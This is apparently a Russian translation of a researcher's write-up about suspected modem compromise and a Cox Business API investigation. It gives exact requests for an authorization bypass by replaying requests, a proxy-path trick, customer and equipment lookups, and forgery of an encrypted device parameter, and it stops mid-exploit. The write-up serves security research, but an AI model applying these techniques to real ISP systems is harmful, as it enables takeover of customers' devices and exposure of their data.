Два года назад во время работы в домашней сети со мной произошло нечто очень странное. Я эксплуатировал слепую уязвимость XXE, которая требовала внешнего HTTP-сервера для переправки файлов, поэтому я развернул простой веб-сервер Python на платформе AWS для получения трафика от уязвимого сервера:
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
После запуска веб-сервера я отправил cURL-запрос со своего домашнего компьютера, чтобы убедиться, что он может получать внешние HTTP-запросы:
curl "http://54.156.88.125:8000/test123"
Всего через несколько секунд я увидел следующий лог:
98.161.24.100 - [16:32:12] "GET /test123 HTTP/1.1"
Отлично, это означало, что я смог получать сетевой трафик на сервере. Казалось, всё шло, как по маслу, но как только я вернулся к эксплуатированию уязвимости, в моем лог-файле появилось нечто неожиданное:
98.161.24.100 - [16:32:12] "GET /test123 HTTP/1.1"
159.65.76.209 - [16:32:22] "GET /test123 HTTP/1.1"
Неизвестный IP-адрес повторил тот же HTTP-запрос спустя всего 10 секунд.
«Ух ты, это действительно странно», — подумал я. Где-то между моей домашней сетью и сервером AWS кто-то перехватил и воспроизвел мой HTTP-трафик. Этот трафик не должен быть доступен. Между этими двумя системами нет посредника, который мог бы его видеть. Моей первой мыслью было то, что мой компьютер взломали и хакер активно отслеживает мой трафик.
Чтобы проверить, не произойдёт ли то же самое, если я зайду с другого устройства, я вытащил свой iPhone и ввел URL-адрес в Safari. Я отправил запрос, а затем обратился к лог-файлу:
98.161.24.100 - [16:34:04] "GET /uhhhh HTTP/1.1"
159.65.76.209 - [16:34:16] "GET /uhhhh HTTP/1.1"
Тот же самый неизвестный IP-адрес перехватил и воспроизвел оба HTTP-запроса с моего компьютера и iPhone. Каким-то образом кто-то перехватывал и воспроизводил веб-трафик с любого устройства моей домашней сети.
В панике я развернул новый сервер AWS под управлением Nginx, чтобы убедиться, что исходный экземпляр (инстанс) не был каким-либо образом скомпрометирован.
sudo service nginx start
tail -f /var/log/nginx/access.log
Я снова открыл URL-адрес со своего iPhone и увидел те же самые логи:
98.161.24.100 - [16:44:04] "GET /whatisgoingon1234 HTTP/1.1"
159.65.76.209 - [16:44:12] "GET /whatisgoingon1234 HTTP/1.1"
Кто-то перехватывал и воспроизводил мой HTTP-трафик сразу после того, как я его отправил, и сделано это могло быть только через моего интернет-провайдера, модем или AWS. Чтобы исключить абсурдную идею о том, что AWS был скомпрометирован, я развернул сервер на GCP и увидел, что тот же неизвестный IP-адрес воспроизводит мои HTTP-запросы. Это был не AWS.
Единственный реальный вариант: что был взломан мой модем. Но кто мог быть злоумышленником? Я запросил информацию о владельце IP-адреса и выяснил, что он принадлежит DigitalOcean. Странно. Адрес определённо не принадлежал моему провайдеру.
Кто же ты, 159.65.76.209?
В начале своего расследования я отправил IP-адрес нескольким друзьям, которые работали в компаниях, занимающихся отслеживаем угроз. Те прислали мне ссылку на список VirusTotal для этого IP-адреса, где подробно описаны все домены, которые размещались на этом IP-адресе за последние несколько лет.
Из последних 5 доменов, привязанных к IP-адресу, 3 были фишинговыми сайтами, а 2 походили на почтовые серверы. Следующие домены в какой-то момент времени были преобразованы в IP-адрес DigitalOcean:
regional.adidas.com.py (2019/11/26)
isglatam.online (2019/12/08)
isglatam.tk (2020/11/11)
mx12.limit742921.tokyo (2021/08/08)
mx12.jingoism44769.xyz (2022/04/12)
Двумя доменами, связанными с IP-адресом 159.65.76.209, были isglatam.online и isglatam.tk. Оба они когда-то были фишинговыми сайтами для isglatam.com, южноамериканской компании по кибербезопасности.
Посетив настоящий веб-сайт ISG Latam, мы узнали, что они базируются в Парагвае и сотрудничают с Crowdstrike, AppGate, Acunetix, DarkTrace и ForcePoint. После 10-минут чтения выяснилось, что люди, перехватывающие мой трафик, пытались провести фишинговую атаку на ISG Latam, используя тот же IP-адрес.
Хакеры взламывают хакеров?
Это было странно. Всего за год до этого IP‑адрес использовался для размещения фишинговой инфраструктуры, нацеленной на южноамериканскую компанию по кибербезопасности. Если предположить, что злоумышленники контролировали этот IP‑адрес в течение трёх лет, получится, что они использовали его как минимум для двух различных фишинговых кампаний, и он являлся C&C‑сервером для вредоносного ПО.
С помощью URLscan я узнал, что на сайтах isglatam.online и isglatam.tk размещались обычные фишинговые сайты BeEF, хронологию которых можно увидеть здесь.
Подпись злоумышленников была крайне интересной, поскольку они совершали множество различных вредоносных действий с одного сервера и, судя по всему, их не блокировали более 3 лет. Было действительно сложно понять их намерения, учитывая, что Adidas, ISG Latam и взлом модемов идут с одного и того же IP-адреса. Была вероятность, что IP-адрес на протяжении многих лет кочевал от одного владельца к другому, но это казалось маловероятным, поскольку промежутки между ними были длительными, и вряд ли адрес был немедленно передан другой группе злоумышленников.
Поняв, что зараженное устройство все еще работает, я отключил его и убрал в коробку.
Передача улик
Я использовал модем Cox Panoramic Wifi gateway. Узнав, что он, скорее всего, взломан, я пошёл в местный магазин Cox, чтобы показать своё устройство и запросить новое.
Единственная проблема с этим запросом заключалась в том, что для получения нового модема мне пришлось бы сдать старый. К сожалению, он не являлся моей собственностью, я арендовал его у интернет-провайдера. Я объяснил сотрудникам, что мне бы хотелось сохранить и провести реверс инжиниринг старого устройства. Их глаза немного округлились, а желание отдать мне устройство значительно поугасло.
«Мне никак не удастся оставить его себе?» — спросил я. «Нет, мы должны забрать ваш старый модем, чтобы дать вам новый», — сказал представитель интернет‑провайдера. Они были непреклонны. Как бы мне ни хотелось разобрать модем, сбросить прошивку и поискать следы того, что потенциально могло его скомпрометировать, пришлось передать устройство сотруднику. Я взял свое новое устройство и вышел из магазина, разочарованный тем, что больше ничего с ним сделать не могу.
После настройки нового модема прошлая ситуация больше не повторялась. Мой трафик больше не воспроизводился. В логах не появлялся посторонний IP. Казалось, все исправлено.
С некоторым разочарованием я пришел к выводу, что модем, к которому у меня больше не было доступа, был скомпрометирован. Поскольку я передал его интернет-провайдеру и заменил устройство, мне больше нечего было расследовать. Разве что проверить, не взломан ли мой компьютер. Я бросил попытки разобраться во всём этом. По крайней мере, на данный момент.
Спустя три года
В начале 2024 года, почти три года спустя, я отправился в отпуск с друзьями, которые также работали в сфере кибербезопасности. За ужином я пересказал им эту историю. Заинтересовавшись, они выспросили у меня все подробности и захотели провести собственное расследование.
Первое, что привлекло их внимание (они работали над анализом вредоносного ПО гораздо больше меня), был формат двух доменов почтовых серверов ( limit742921.tokyo и jingoism44769.xyz). Они извлекли IP-адрес субдомена mx1, limit742921.tokyo, а затем провели обратный поиск IP-адресов по всем доменам, которые когда-либо ссылались на тот же IP-адрес. Более 1000 доменов работали по одной и той же схеме…
{"rrname":"acquire543225.biz.","rrtype":"A","rdata":"153.127.55.212"}
{"rrname":"battery935904.biz.","rrtype":"A","rdata":"153.127.55.212"}
{"rrname":"grocery634272.biz.","rrtype":"A","rdata":"153.127.55.212"}
{"rrname":"seventy688181.biz.","rrtype":"A","rdata":"153.127.55.212"}
Каждый домен, зарегистрированный по обнаруженному IP-адресу, использовал одно и то же соглашение об именах:
[word][6 numbers].[TLD]
Большое количество доменов и алгоритмическая структура зарегистрированного адреса говорит об использовании алгоритма генерации доменов. Он используется злоумышленниками для ротации имени и IP‑адреса C&C‑сервера с целью запутывания. Была большая вероятность, что IP‑адрес, воспроизводящий мой трафик, являлся C&C‑сервером, а два домена, которые я считал почтовыми серверами, на самом деле были сгенерированы алгоритмом.
Огорчало, что все эти домены были старыми; последний был зарегистрирован 17 марта 2023 года. Ни один из хостов больше нигде не размещался, и мы не смогли найти ничего подобного, зарегистрированного на том же IP-адресе.
Учитывая, что мой новый модем был той же модели, что и скомпрометированный, мне стало любопытно, смог ли злоумышленник снова в него проникнуть. Из быстрого поиска в Google я узнал, что для моей модели модема нет общедоступных уязвимостей (хотя прошло уже 3 года), поэтому, если какая-то уязвимость и была, производитель сумел сохранить её в тайне.
Но у меня была и другая, более вероятная версия. Что злоумышленники использовали что-то помимо обычного эксплойта маршрутизатора. Мне очень хотелось разобраться в этом и попытаться придумать способы взлома моего устройства.
Таргетинг на REST API с использованием протокола TR-069.
Когда я вернулся домой, то увидел сообщение от друга. Он просил помочь перевезти мебель в его новый дом. Это также означало помощь с переносом модема Cox. Подключив его устройство к интернету, я позвонил в службу поддержки интернет-провайдера и спросил, смогут ли они накатить обновление, позволяющее устройству работать в новом месте. Провайдер подтвердил, что они могут удаленно обновлять настройки устройства, в том числе изменять пароль Wi-Fi и просматривать подключенные устройства.
Меня очень заинтересовал тот факт, что служба поддержки может управлять устройствами, тем более что они могут ставить любые обновления на устройстве. Такому широкому доступу способствовал протокол TR-069, реализованный в 2004 году. Он позволял интернет‑провайдерам управлять устройствами в их собственной сети через порт 7547. Этот протокол уже был предметом нескольких крупных обсуждений на DEF CON и не был доступен извне, так что я не особо интересовался поиском ошибок в нём. Однако меня интересовали инструменты, которые специалист службы поддержки использовал для управления устройством.
Короче говоря, будь я злоумышленником, который хотел взломать мой модем, я бы, скорее всего, нацелился на любую инфраструктуру, поддерживающую инструменты, используемые специалистами техподдержки. Вероятно, существовал какой‑то внутренний сайт для управления устройствами, которым пользуются специалисты техподдержки, поддерживаемый API, который мог выполнять произвольные команды и изменять/просматривать настройки клиентских устройств с правами администратора. Если бы я мог каким‑то образом получить доступ к этой функции, это пролило бы свет на то, как меня взломали, и устранить хотя бы один способ взлома моего модема.
Как взломать миллионы модемов
Для начала я решил посмотреть портал Cox Business. Это приложение имело массу интересных функций для удаленного управления устройствами, установки правил брандмауэра и мониторинга сетевого трафика.
Несмотря на то, что у меня не было бизнес-аккаунта Cox, я открыл главную страницу портала и получил копию файла, main.36624ed36fb0ff5b.js, который поддерживает функциональность приложения. Немного поколдовав над ним, я собрал все маршруты и пробежался по ним:
/api/cbma/voicemail/services/voicemail/inbox/transcribeMessage/
/api/cbma/profile/services/profile/userroles/
/api/cbma/accountequipment/services/accountequipment/equipments/eligibleRebootDevice
/api/cbma/accountequipment/services/accountequipment/casedetail
/api/cbma/user/identity/services/useridentity/user/verifyContact
/api/cbma/user/identity/services/useridentity/user/contact/validate
...
Было более 100 различных запросов API, каждый из которых имел один и тот же базовый путь /api/cbma/. Поскольку этот маршрут, по-видимому, обеспечивает большую часть функций, связанных с устройствами, я решил выяснить, не является ли /api/cbma/ обратным прокси-сервером для другого хоста. Я проверил это, отправив следующие запросы:
HTTP-запрос, который не начинается с api/cbma (возвращает 301):
GET /api/anything_else/example HTTP/1.1
Host: myaccount-business.cox.com
HTTP/1.1 301 Moved Permanently
Location: https://myaccount-business.cox.com/cbma/api/anything_else/example
HTTP-запрос, который начинается с api/cbma (возвращает 500):
GET /api/cbma/example HTTP/1.1
Host: myaccount-business.cox.com
HTTP/1.1 500 Internal Server Error
Server: nginx
Отправляя вышеуказанные HTTP‑запросы, мы узнаем, что api/cbma представляет собой явный маршрут, который, вероятно, является обратным прокси‑сервером к другому хосту. Об этом говорит различное поведение HTTP‑ответа. Когда мы запрашиваем что‑либо кроме api/cbma, он отвечает 302-редиректом вместо внутренней ошибки сервера 500, вызванной api/cbma.
Это указывало на то, что запросы API перенаправлялись на выделенный сервер, одновременно обслуживая файлы интерфейса из обычной системы.
Поскольку API сам по себе обладал всякими интересными функциями управления устройствами, стоило сосредоточиться на всём, что стоит за маршрутом api/cbma и посмотреть, найдётся ли какая‑нибудь лёгкая добыча вроде открытых сервисов‑актуаторов, документации API или каких‑либо уязвимостей обхода каталогов, которые позволили бы нам получить больше разрешений.
Я пошел дальше и проксировал запрос на регистрацию на портале Cox Business, который находился под путем api/cbma:
POST /api/cbma/userauthorization/services/profile/validate/v1/email HTTP/1.1
Host: myaccount-business.cox.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Clientid: cbmauser
Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13
Cb_session: unauthenticateduser
Authorization: Bearer undefined
Ma_transaction_id: a85dc5e0-bd9d-4f0d-b4ae-4e284351e4b4
Content-Length: 28
Connection: close
HTTP-запрос содержал множество различных заголовков авторизации, включая то, что выглядело как общий ключ API, доступ к которому есть у всех пользователей. clientid и Cb_session выглядели очень необычно и указывали на то, что в приложении используется множество ролей и разрешений.
HTTP-ответ выглядел как обычный ответ Spring, и мы могли бы быстро убедиться, что бэкэнд API работает с Spring, просто изменив POST на GET и посмотреть на ответ:
POST /api/cbma/userauthorization/services/profile/validate/v1/email HTTP/1.1
Host: myaccount-business.cox.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Clientid: cbmauser
Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13
Cb_session: unauthenticateduser
Authorization: Bearer undefined
Ma_transaction_id: a85dc5e0-bd9d-4f0d-b4ae-4e284351e4b4
Content-Length: 28
Connection: close
{"email":"test@example.com"}
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 126
{
"message": "Success",
"id": "test@example.com"
}
Да, это определённо ошибка Spring. Поскольку получилось подтвердить, что на обратном прокси‑сервере работает Spring, я решил поискать сервисы‑актуаторы и открытую документацию по API.
Я пошел дальше и попытался угадать маршрут сервисов‑актуаторов:
❌ GET /api/cbma/userauthorization/services/profile/validate/v1/email/actuator/
❌ GET /api/cbma/userauthorization/services/profile/validate/v1/actuator/
❌ GET /api/cbma/userauthorization/services/profile/validate/actuator/
❌ GET /api/cbma/userauthorization/services/profile/actuator/
❌ GET /api/cbma/userauthorization/services/actuator/
❌ GET /api/cbma/userauthorization/actuator/
❌ GET /api/cbma/actuator/
Эх, простых актуаторов нет. Тогда я проверил доступную документацию по API:
❌ GET /api/cbma/userauthorization/services/profile/validate/v1/email/swagger-ui/index.html
❌ GET /api/cbma/userauthorization/services/profile/validate/v1/swagger-ui/index.html
❌ GET /api/cbma/userauthorization/services/profile/validate/swagger-ui/index.html
❌ GET /api/cbma/userauthorization/services/profile/swagger-ui/index.html
❌ GET /api/cbma/userauthorization/services/swagger-ui/index.html
✅ GET /api/cbma/userauthorization/swagger-ui/index.html
У нас одно попадание! /api/cbma/profile/swagger-ui/index.html. Я загрузил страницу, ожидая увидеть маршруты API, а там…
Совершенно пустая страница. По какой-то причине страница не загружалась. Я проверил сетевой трафик и обнаружил, что при попытке загрузить любой статический ресурс возникает бесконечный цикл перенаправления:
GET /api/cbma/ticket/services/swagger-ui/swagger-initializer.js HTTP/1.1
Location: /cbma/api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js
...
GET /cbma/api/cbma/ticket/services/swagger-ui/swagger-initializer.js HTTP/1.1
Location: /cbma/cbma/api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js
Казалось, все запросы на загрузку статических ресурсов для страницы ( .png, .js, .css) направлялись через базовый URI, а не через хост API обратного прокси. Видимо, существует правило прокси для статических ресурсов. Я решил проверить это, изменив расширение:
GET /api/cbma/userauthorization/services/swagger-ui/swagger-initializer.anythingElse HTTP/1.1
Host: myaccount-business.cox.com
HTTP/1.1 500 Internal Server Error
Server: nginx
Убедившись, что расширение .js запускает направление запроса на исходный хост, мне нужно было найти способ загрузить ресурс из обратного прокси-сервера API, при этом не нарушая правило, которое переключало маршрутизацию для статических файлов. Поскольку запрос передавался через прокси, проще всего это сделать через следующую проверку: можно ли добавить какой-то символ, который бы «отвалился» при передаче.
Загрузка статических ресурсов через API обратного прокси
Чтобы исправить ситуацию, я просто использовал Burp Intruder для подстановки символов от %00 до %FF в конце URL. Примерно через 30 секунд работы мы получили 200 OK, когда в кодировке URL был добавлен символ “/”:
GET /api/cbma/userauthorization/services/swagger-ui/swagger-initializer.js%2f HTTP/1.1
Host: myaccount-business.cox.com
HTTP/2 200 OK
Content-Type: application/javascript
window.onload = function() { window.ui = SwaggerUIBundle({ url: "https://petstore.swagger.io/v2/swagger.json", dom_id: '#swagger-ui', deepLinking: true, presets: [ SwaggerUIBundle.presets.apis, SwaggerUIStandalonePreset ], plugins: [ SwaggerUIBundle.plugins.DownloadUrl ], layout: "StandaloneLayout" , "configUrl" : "/services/v3/api-docs/swagger-config", "validatorUrl" : "" }); //</editor-fold> };
Добавив %2f к расширению .js, мы смогли загрузить файлы JS. Я написал правило для добавления %2f ко всем статическим ресурсам, используя функцию match-and-replace в Burp, а затем перезагрузил страницу.
Отлично, маршруты для swagger загружены. Я использовал тот же трюк, чтобы загрузить все документы Swagger на остальные конечные точки API. Всего получилось около 700 различных вызовов API, причем каждый API имел следующее количество вызовов:
account (115 routes)
voiceutilities (73 routes)
user (70 routes)
datainternetgateway (57 routes)
accountequipment (55 routes)
billing (53 routes)
ticket (52 routes)
profile (47 routes)
voicecallmanagement (46 routes)
voicemail (37 routes)
voiceusermanagement (30 routes)
userauthorization (24 routes)
csr (16 routes)
voiceprofile (14 routes)
Я быстро пробежался по ним. Наиболее подходящими для взаимодействия с оборудованием и доступа к учётным записям клиентов оказались следующие API:
accountequipment (55 routes)
datainternetgateway (57 routes)
account (115 routes)
Скопировав HTTP‑запрос, который я использовал для регистрации на сайте, я запустил скрипт Intruder, чтобы атаковать каждую конечную точку GET и проверить, есть ли какие‑либо доступные неаутентифицированные конечные точки API. Результат оказался весьма интересным. Половина конечных точек выдавала ошибку авторизации, а другая половина — HTTP‑ответ 200 OK.
Как я нечаянно обнаружил обход авторизации в API Cox Backend
После того, как Intruder завершил сканирование всех конечных точек API, я просмотрел список на предмет каких-нибудь интересных ответов. Конечная точка «profilesearch» имела интересный HTTP-ответ, который, похоже, возвращал пустой JSON-объект из, казалось бы, пустого поиска:
GET /api/cbma/profile/services/profile/profilesearch/ HTTP/1.1
Host: myaccount-business.cox.com
Clientid: cbmauser
Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13
Cb_session: unauthenticateduser
Authorization: Bearer undefined
HTTP/1.1 200 OK
Content-type: application/json
{
"message": "Success",
"profile": {
"numberofRecords": "0 hits",
"searchList": []
}
}
Из просмотра JavaScript следовало, что для поиска профиля нужно добавить к URI аргумент. Я ввел test в URI и получил следующий ответ:
{
"message": "Authorization Error-Invalid User Token"
}
Неверный токен пользователя? Но я только что мог попасть в эту конечную точку. Я удалил слово test из URI и повторно отправил запрос. Очередная ошибка авторизации! По какой‑то причине исходная конечная точка без параметров теперь возвращала ошибку авторизации, хотя при запуске Intruder мы могли просто так в неё попасть.
Я провёл санитарное тестирование и убедился, что между запросом Intruder и моим повторным запросом ничего не изменилось. Я повторил запрос еще раз, и, к моему удивлению, на этот раз он выдал мне исходное сообщение 200 OK и ответ Intruder'а в формате JSON! Что происходит? Кажется, он то выдаёт мне ошибки авторизации, то сообщает, что запрос выполнен успешно.
Чтобы проверить, смогу ли я воспроизвести это с помощью реального поискового запроса, я записал coxURI и воспроизвёл запрос ещё 2–3 раза, пока не увидел следующий ответ:
{
"message": "Success",
"profile": {
"numberofRecords": "10000+ hits",
"searchList": [
{
"value": "COX REDACTED",
"profileGuid": "cbbccdae-b1ab-4e8c-9cec-e20c425205a1"
},
{
"value": "Cox Communications SIP Trunk REDACTED",
"profileGuid": "bc2a49c7-0c3f-4cab-9133-de7993cb1c7d"
},
{
"value": "cox test account ds1/REDACTED",
"profileGuid": "74551032-e703-46a2-a252-dc75d6daeedc"
}
]
}
}
Вау! Это выглядит как профили бизнес-клиентов Cox. Не особо надеясь на результат, я заменил слово «cox» на «fbi», чтобы проверить, действительно ли оно собирает данные о клиентах:
{
"message": "Success",
"profile": {
"numberofRecords": "REDACTED hits",
"searchList": [
{
"value": "FBI REDACTED",
"profileGuid": "7b9f092a-e938-41d5-bcf5-0be1bb6487f5"
},
{
"value": "FBI REDACTED",
"profileGuid": "c8923f6f-b4ed-4f66-a743-000a961edb35"
},
{
"value": "FBI REDACTED",
"profileGuid": "a32b8112-48ac-4a4f-8893-5ca1c392a31d"
}
]
}
}
О, нет. В приведенном выше ответе содержались физические адреса нескольких местных отделений ФБР, которые являлись бизнес-клиентами Cox. API-запрос поиска клиентов работает. Ай-ай-ай!
Итак, мы подтвердили, что можем обойти авторизацию для конечных точек API, просто воспроизводя HTTP-запрос несколько раз, а также было более 700 других API-запросов, которые мы смогли выполнить. Пришло время увидеть, как это можно использовать в реальной жизни.
Доказываю, что можно получить доступ к чужому оборудованию
Вооружившись знаниями о том, что могу обойти авторизацию, просто повторив запрос, я заново посмотрел результаты сканирования Intruder’a. Чтобы выяснить, могла ли эта уязвимость быть использована для взлома моего модема, мне нужно было понять, имеет ли этот API доступ к домашней сети на уровне контроля доступа. Cox предлагает как бытовые, так и бизнес-услуги, но я предполагаю, что базовый API имеет доступ и к тем, и к другим.
Я выполнил простейший запрос с параметром macAddress, чтобы проверить, могу ли я получить доступ к собственному модему через API.
/api/cbma/accountequipment/services/accountequipment/ipAddress?macAddress=:mac
Это был GET-запрос на получение IP-адреса модема, который требовал параметра macAddress. Я вошел в систему Cox, извлек свой собственный MAC-адрес, а затем отправлял HTTP-запрос снова и снова, пока он не вернул 200 OK:
GET /api/cbma/accountequipment/services/accountequipment/ipAddress?macAddress=f80c58bbcb90 HTTP/1.1
Host: myaccount-business.cox.com
Clientid: cbmauser
Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13
Cb_session: unauthenticateduser
Authorization: Bearer undefined
HTTP/1.1 200 OK
Content-type: application/json
{
"message": "Success",
"ipv4": "98.165.155.8"
}
Сработало! Мы получали доступ к нашему собственному устройству через API веб-сайта Cox Business! Это значит, что все, что было запущено на нем, можно использовать для взаимодействия с устройствами. Компания Cox обслуживает миллионы клиентов, и этот API, по-видимому, позволяет напрямую общаться через MAC-адрес с любым чужим устройством.
Тогда у меня возник следующий вопрос: можем ли мы получить MAC-адреса оборудования, подключенного к чьей-либо учетной записи, путём поиска ID его учетной записи (который мы получили ранее через конечную точку запроса клиента). Я нашел конечную точку accountequipment/services/accountequipment/v1/equipments в своем swagger-списке и добавил ее в Burp Repeater с собственным ID учетной записи. Он вернул следующую информацию:
GET /api/cbma/accountequipment/services/accountequipment/v1/equipments/435008132203 HTTP/1.1
Host: myaccount-business.cox.com
Clientid: cbmauser
Apikey: 5d228662-aaa1-4a18-be1c-fb84db78cf13
Cb_session: unauthenticateduser
Authorization: Bearer undefined
HTTP/1.1 200 OK
Content-type: application/json
{
"accountEquipmentList": [
{
"equipmentCategory": "Internet",
"equipmentModelMake": "NOKIA G-010G-A",
"equipmentName": "NOKIA G-010G-A",
"equipmentType": "Nokia ONT",
"itemModelMake": "NOKIA",
"itemModelNumber": "G-010G-A",
"itemNumber": "DAL10GB",
"macAddress": "f8:0c:58:bb:cb:92",
"portList": [
{
"address": "F80C58BBCB92",
"portNumber": "1",
"portType": "ONT_ALU",
"qualityAssuranceDate": "20220121",
"serviceCategoryDescription": "Data"
}
],
"serialNumber": "ALCLEB313C84"
},
{
"equipmentCategory": "Voice",
"equipmentModelMake": "CISCO DPQ3212",
"equipmentName": "CISCO DPQ3212",
"equipmentType": "Cable Modem",
"itemModelMake": "CISCO",
"itemModelNumber": "DPQ3212",
"itemNumber": "DSA321N",
"macAddress": "e4:48:c7:0d:9a:71",
"portList": [
{
"address": "E448C70D9A71",
"portNumber": "1",
"portType": "DATA_D3",
"qualityAssuranceDate": "20111229",
"serviceCategoryDescription": "Unknown"
},
{
"address": "E448C70D9A75",
"portNumber": "2",
"portType": "TELEPHONY",
"qualityAssuranceDate": "20111229",
"serviceCategoryCode": "T",
"serviceCategoryDescription": "Telephone"
}
],
"serialNumber": "240880144"
},
{
"equipmentCategory": "Television",
"equipmentModelMake": "Cox Business TV (Contour 1)",
"equipmentName": "Cox Business TV (Contour 1)",
"equipmentType": "Cable Receiver",
"itemModelMake": "CISCO",
"itemModelNumber": "650",
"itemNumber": "GSX9865",
"macAddress": "50:39:55:da:93:05",
"portList": [
{
"address": "44E08EBB6DBC",
"portNumber": "1",
"portType": "CHDDVRX1",
"qualityAssuranceDate": "20131108",
"serviceCategoryDescription": "Cable"
}
],
"serialNumber": "SACDRVKQN"
}
]
}
Cработало! В HTTP-ответе вернулось мое подключенное оборудование.
Доступ и обновление любой учетной записи клиента Cox Business
Чтобы проверить, можно ли это использовать для доступа и изменения учетных записей бизнес-клиентов, я нашел запрос API, который мог бы проводить опрос клиентов по электронной почте. Я отправил следующий HTTP-запрос и увидел вот такой ответ:
GET /api/cbma/user/services/user/admin@cox.net HTTP/1.1
Host: myaccount-business.cox.com
HTTP/1.1 200 OK
Content-type: application/json
{
"id": "admin@cox.net",
"guid": "89d6db21-402d-4a57-a87b-cad85d01b192",
"email": "admin@cox.net",
"firstName": "Redacted",
"lastName": "Redacted",
"primaryPhone": "Redacted",
"status": "INACTIVE",
"type": "RETAIL",
"profileAdmin": true,
"profileOwner": true,
"isCpniSetupRequired": false,
"isPasswordChangeRequired": true,
"timeZone": "EST",
"userType": "PROFILE_OWNER",
"userProfileDetails": {
"id": "{3DES}JA1+doxmDYc=",
"guid": "9795bd4c-92d6-4aa2-ad30-1da4bbcbe1da",
"name": "Supreme Carpet Care",
"status": "ACTIVE",
"ownerEmail": "admin@cox.net"
},
"contactType": {
"contactInfo": [
{
"type": "alternateEmail",
"value": "redacted@redacted.com"
}
]
},
"preferredEmail": "admin@cox.net"
}
Другой аналогичный запрос на обновление учётной записи POST сработал. А значит, мы можем читать и писать в бизнес-аккаунтах.
Итак, я продемонстрировал, что можно (1) найти клиента и получить PII его бизнес-аккаунта, используя только его имя, (2) получить MAC-адреса подключенного оборудования на его учётке, а затем (3) выполнить команды по MAC-адресам через API. Оставалось найти конечные точки API, которые действительно писали бы на устройство, чтобы имитировать попытку злоумышленника выполнить код.
Перезапись настроек чужого устройства с помощью утечки криптографического ключа
Когда я просматривал документы Swagger, казалось, что для каждого запроса на модификацию оборудования (например, на обновление пароля устройства) требуется параметр encryptedValue. Если бы мне удалось найти способ генерировать это значение, я мог бы продемонстрировать доступ к модемам для удаленного выполнения кода.
Чтобы понять, смогу ли я вообще сгенерировать параметр encryptedValue, мне пришлось покопаться в исходном JavaScript, чтобы точно выяснить, как он подписывается.
Проследив параметр encryptedValue через JavaScript, я остановился на этих двух функциях:
encryptWithSaltandPadding(D) {
const k = n.AES.encrypt(D, this.getKey(), {
iv: n.enc.Hex.parse(s.IV)
}).ciphertext.toString(n.enc.Base64);
return btoa(s.IV + "::" + s.qs + "::" + k)
}
decryptWithSaltandPadding(D) {
const W = atob(D),
k = this.sanitize(W.split("::")[2]),
M = n.lib.CipherParams.create({
ciphertext: n.enc.Base64.parse(k)
});
return n.AES.decrypt(M, this.getKey(), {
iv: n.enc.Hex.parse(s.IV)
}).toString(n.enc.Utf8)
}
Обе эти функции принимают переменные, которые существуют только во время выполнения, поэтому самый простой способ вызвать эти функции — найти место, где они вызываются в реальном пользовательском интерфейсе. После недолгих поисков я понял, что 4-значный PIN‑код, который я установил при регистрации своей учётной записи, был зашифрован с использованием той же функции!
Я установил точку остановки (breakpoint) именно там, где была вызвана функция encryptWithSaltAndPadding, а затем нажал Enter.
Теперь, когда у меня была установлена точка остановки и я находился в правильном контексте для функции, я мог просто вставить функцию в консоль и запускать все, что захочу. Чтобы проверить, что она работает, я скопировал зашифрованное значение PIN-кода, которое было отправлено в POST-запросе, и передал его функции decrypt.
t.cbHelper.decryptWithSaltandPadding("OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjova3paY1orSjRGR0YwWGFvRkhwWHZRPT0=")
"8042"
Идеально! Это сработало, как я и ожидал. Единственная проблема - получить encryptedValue устройства. Я поспрашивал знакомых и нашел владельца MSP (Managed Service Provider) — провайдер комплексного управления ИТ), использующего Cox Business. Он дал мне логин от своей учетной записи, и после аутентификации в одном из ответов HTTP я увидел то, что казалось похожим на параметр encryptedValue. Я скопировал это значение и еще раз передал его функции decrypt:
t.cbHelper.decryptWithSaltandPadding("OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjpiYk1SNGQybzFLZHhRQ1VQNnF2TWl1QlZ0NEp6WVUyckJGMXF5T0dYTVlaNWdjZkhISTZnUFppdjM3dmtRSUcxclNkMC9WNmV2WFE1eko0VnFZUnFodz09")
541051614702;DTC4131;333415591;1;f4:c1:14:70:4d:ac;Internet
Это немного раздражает. Похоже, что в зашифрованном параметре был MAC-адрес, а также идентификатор учётной записи и несколько дополнительных параметров.
541051614702 = Cox Account Number
DTC4131 = Device Name
333415592 = Device ID
1 = Unknown
f4:c1:14:70:4d:ac = MAC address
Internet = Label
Если бы существовала какая-то проверка, что MAC-адрес соответствует ID учетной записи, это затруднило бы использование этой уязвимости. Я продолжил исследование.
Выполнение команд на любом модеме
В последней отчаянной попытке я попробовал подписать строку «encryptedValue» мусорными данными для всего, кроме MAC‑адреса (например 123456789012;1234567;123456789;1;f4:c1:14:70:4d:ac;ANYTHING
) , чтобы проверить, действительно ли он проверяет, что идентификатор учетной записи соответствует MAC‑адресу:
t.cbHelper.encryptWithSaltandPadding("123456789012;1234567;123456789;1;f4:c1:14:70:4d:ac;ANYTHING")
OGEzMjNmNjFhOTk2MGI2OTM0NzAzNTkzODZkOGYxODI6OjhhNzU1NTNlMDAzOTlhNWQ5Zjk5ZTYzMzM3M2RiYWUzOjpLUlArd3Jqek5Ra3VlZUVReXVUWEZHbE91NWVQRzk0WEo1Zi9wSDdVZWxHVkFXYmtWd2Z2YmNHU1FWOVRFT2prZm5tNFhWZlQwNkQ3V2tDU1FqbHpIUT09
